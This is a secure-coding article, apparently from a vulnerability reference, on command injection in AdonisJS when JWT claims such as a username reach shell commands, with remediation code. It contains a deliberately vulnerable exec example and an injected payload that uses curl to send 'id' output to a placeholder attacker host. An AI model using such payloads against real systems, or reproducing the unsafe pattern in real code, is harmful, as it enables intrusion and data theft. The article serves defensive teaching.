HIGH command injectionadonisjsjwt tokens

Command Injection in Adonisjs with Jwt Tokens

Command Injection in Adonisjs with Jwt Tokens — how this specific combination creates or exposes the vulnerability

Command injection occurs when an application passes untrusted input directly to a system shell or to process-level APIs that execute commands. In AdonisJS, this often appears in code that uses child process utilities such as exec, spawn, or execFile from Node.js, typically to invoke binaries or shell features. If the input includes shell metacharacters (e.g., ;, &, |, `), an attacker can chain additional commands.

JWT tokens become relevant when authorization logic is based on token claims and the token is used to derive or select values that later reach command execution. For example, if a route or policy extracts a value from a JWT (such as a username, tenant identifier, or role) and uses it to construct a shell command, an attacker who can influence the token payload might be able to affect the command that runs. This is more likely when the application trusts claims that should be considered untrusted, or when tokens are accepted without strict validation of structure and content. The risk is not in JWT verification itself, but in how claims from a verified token are used downstream.

Consider an AdonisJS route where a name claim from a JWT is used to build a filename or a shell argument:

import { exec } from 'child_process';
import { BaseMiddleware } from '@ioc:Adonis/Core/Middleware';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';

export default class JwtCommandInjectionMiddleware implements BaseMiddleware {
  public async handle({ request, auth }: HttpContextContract, next: () => Promise) {
    await next();
    const user = auth.getUserOrFail();
    // WARNING: user.username is from JWT claims; do not use in shell commands
    exec(`echo Hello ${user.username}`, (error, stdout, stderr) => {
      if (error) {
        console.error('exec error:', error);
        return;
      }
      console.log(stdout);
    });
  }
}

If the JWT contains username as admin; curl http://malicious.example/steal?data=$(id), the executed command becomes echo Hello admin; curl http://malicious.example/steal?data=$(id), leading to arbitrary command execution. Even without direct shell access, attackers can abuse output handling or file paths. The vulnerability arises when the application builds commands by interpolating values that originated from the token, especially when those values are used in argument lists that are interpreted by a shell.

Additionally, if the JWT is used to select an operation that maps to a command template, an attacker who can influence the token’s scope or impersonate a different subject might trigger unexpected command paths. Proper validation of token claims and strict separation of identity from execution logic are essential to prevent this combination from becoming an attack vector.

Jwt Tokens-Specific Remediation in Adonisjs — concrete code fixes

Remediation focuses on never using untrusted data from JWT claims in command construction, validating and sanitizing all inputs, and using safe execution patterns. Below are concrete, AdonisJS-aligned examples.

1. Avoid shell interpolation entirely

Do not concatenate JWT claims into shell commands. Instead, avoid the shell when possible by using the array form of execFile or using Node.js APIs directly.

import { execFile } from 'child_process';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';

export async function safeExecute (ctx: HttpContextContract) {
  // Safe: pass arguments as an array; no shell involved
  execFile('echo', ['Hello', 'world'], (error, stdout, stderr) => {
    if (error) {
      ctx.response.badRequest({ error: 'execution failed' });
      return;
    }
    ctx.response.send({ output: stdout });
  });
}

2. Strictly validate and sanitize claims if you must use shell features

If you must use shell features (which is discouraged), validate the claim against a strict allowlist and escape dangerous characters. Do not rely on client-supplied values for command selection.

import { exec } from 'child_process';
import { escape } from 'string-escape-shellarg';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';

export async function escapedCommand (ctx: HttpContextContract) {
  const user = ctx.auth.getUserOrFail();
  // Whitelist expected values; reject anything else
  const allowedNames = new Set(['alice', 'bob', 'charlie']);
  if (!allowedNames.has(user.username)) {
    ctx.response.unauthorized({ error: 'invalid subject' });
    return;
  }
  // Escape even whitelisted values for defense in depth
  const safeName = escape(user.username);
  exec(`echo Hello ${safeName}`, (error, stdout, stderr) => {
    if (error) {
      ctx.response.internalServerError({ error: 'command error' });
      return;
    }
    ctx.response.send({ output: stdout });
  });
}

3. Use policy-based mapping instead of raw claims for command selection

Map verified, server-side roles or permissions to predefined commands rather than using raw JWT data. This keeps command templates static and removes injection leverage from token content.

import { execFile } from 'child_process';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';

const commandMap: Record = {
  report: ['node', 'scripts/report.js'],
  export: ['node', 'scripts/export.js'],
};

export async function roleBasedCommand (ctx: HttpContextContract) {
  const user = ctx.auth.getUserOrFail();
  const role = user.role; // ensure role is verified server-side, not from raw JWT
  const command = commandMap[role];
  if (!command) {
    ctx.response.forbidden({ error: 'insufficient permissions' });
    return;
  }
  execFile(command[0], command.slice(1), (error, stdout, stderr) => {
    if (error) {
      ctx.response.internalServerError({ error: 'command error' });
      return;
    }
    ctx.response.send({ output: stdout });
  });
}

4. Verify JWT structure and claims rigorously

Use strong validation libraries and enforce expected claim types, formats, and constraints. Do not trust payload size or optional fields that may be attacker-controlled.

import { verify } from 'jsonwebtoken';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';

export function validateToken (ctx: HttpContextContract) {
  const token = ctx.request.header('authorization')?.replace('Bearer ', '');
  if (!token) {
    ctx.response.unauthorized({ error: 'missing token' });
    return null;
  }
  try {
    const payload = verify(token, process.env.JWT_SECRET!) as {
      sub: string;
      role: 'user' | 'admin';
      exp: number;
    };
    // Enforce strict types and ranges
    if (typeof payload.sub !== 'string' || !/^[a-zA-Z0-9_-]{1,64}$/.test(payload.sub)) {
      ctx.response.unauthorized({ error: 'invalid token payload' });
      return null;
    }
    return payload;
  } catch {
    ctx.response.unauthorized({ error: 'invalid token' });
    return null;
  }
}

5. Principle of least privilege and runtime monitoring

Run AdonisJS services with minimal OS-level permissions. Even if injection occurs, this reduces impact. Combine with logging of command attempts that originate from token-derived decisions to detect abuse patterns.

Related CWEs: inputValidation

CWE IDNameSeverity
CWE-20Improper Input Validation HIGH
CWE-22Path Traversal HIGH
CWE-74Injection CRITICAL
CWE-77Command Injection CRITICAL
CWE-78OS Command Injection CRITICAL
CWE-79Cross-site Scripting (XSS) HIGH
CWE-89SQL Injection CRITICAL
CWE-90LDAP Injection HIGH
CWE-91XML Injection HIGH
CWE-94Code Injection CRITICAL

Frequently Asked Questions

Can a valid JWT still lead to command injection in AdonisJS?
Yes. If the application uses claims from a valid JWT to build shell commands without proper validation or escaping, command injection can occur. Validity of the token does not imply safety of its contents for command construction.
Does using JWTs in headers mitigate command injection risks?
Using JWTs in headers for authentication does not mitigate command injection. The risk depends on how claims from the token are used downstream. Never interpolate untrusted or insufficiently validated token data into commands.